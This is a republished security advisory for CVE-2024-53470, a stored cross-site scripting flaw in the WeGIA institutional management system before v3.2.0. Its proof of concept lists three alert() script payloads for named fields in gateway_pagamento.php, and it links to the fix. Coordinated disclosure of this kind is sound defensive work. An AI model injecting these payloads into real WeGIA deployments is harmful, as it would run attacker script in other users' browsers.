⚠ Replicated advisory. This post reproduces an advisory originally researched and published under the CVE Hunters. It is republished here for reference. The original disclosure followed coordinated vulnerability disclosure and the rules of the CVE Program.

🔗 Original advisory: https://www.cvehunters.com/p/cve-2024-53470/
📋 CVE record: CVE-2024-53470

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2024-53470

Vendor

WeGIA (Web Gerenciador Institucional) is an integrated management system licensed under the GNU GPL v3.0, designed to enhance administration, control, and transparency for institutions.

https://www.wegia.org

https://sol.sbc.org.br/index.php/latinoware/article/view/31544

Affected Product Code Base

WeGIA < v3.2.0

Vulnerability Description

A stored Cross-Site Scripting (XSS) vulnerability was identified in the WeGIA application. This vulnerability allows unauthorized scripts to be executed within the user's browser context. Stored XSS is particularly critical, as the malicious code is permanently stored on the server and executed whenever a compromised page is loaded, affecting all users accessing this page.

POC

File: gateway_pagamento.php

Payload:

<script>alert('Alert: XSS');</script>

Endpoint: id="plataforma-endpoint", name="endpoint"

image

File: gateway_pagamento.php

Payload:

<script>alert('Alert: XSS2');</script> 

Endpoint: id="plataforma-nome", name="nome"

image

File: gateway_pagamento.php

Payload:

<script>alert('Alert: XSS3');</script>

Endpoint: id="plataforma-chave", name="token"

image

Reference

https://www.cve.org/CVERecord?id=CVE-2024-53470

Solution

https://github.com/nilsonLazarin/WeGIA/issues/789

Discoverer

Natan Maia Morette

Contributor

Diego Cardoso Borda Castro

By: CVE-Hunters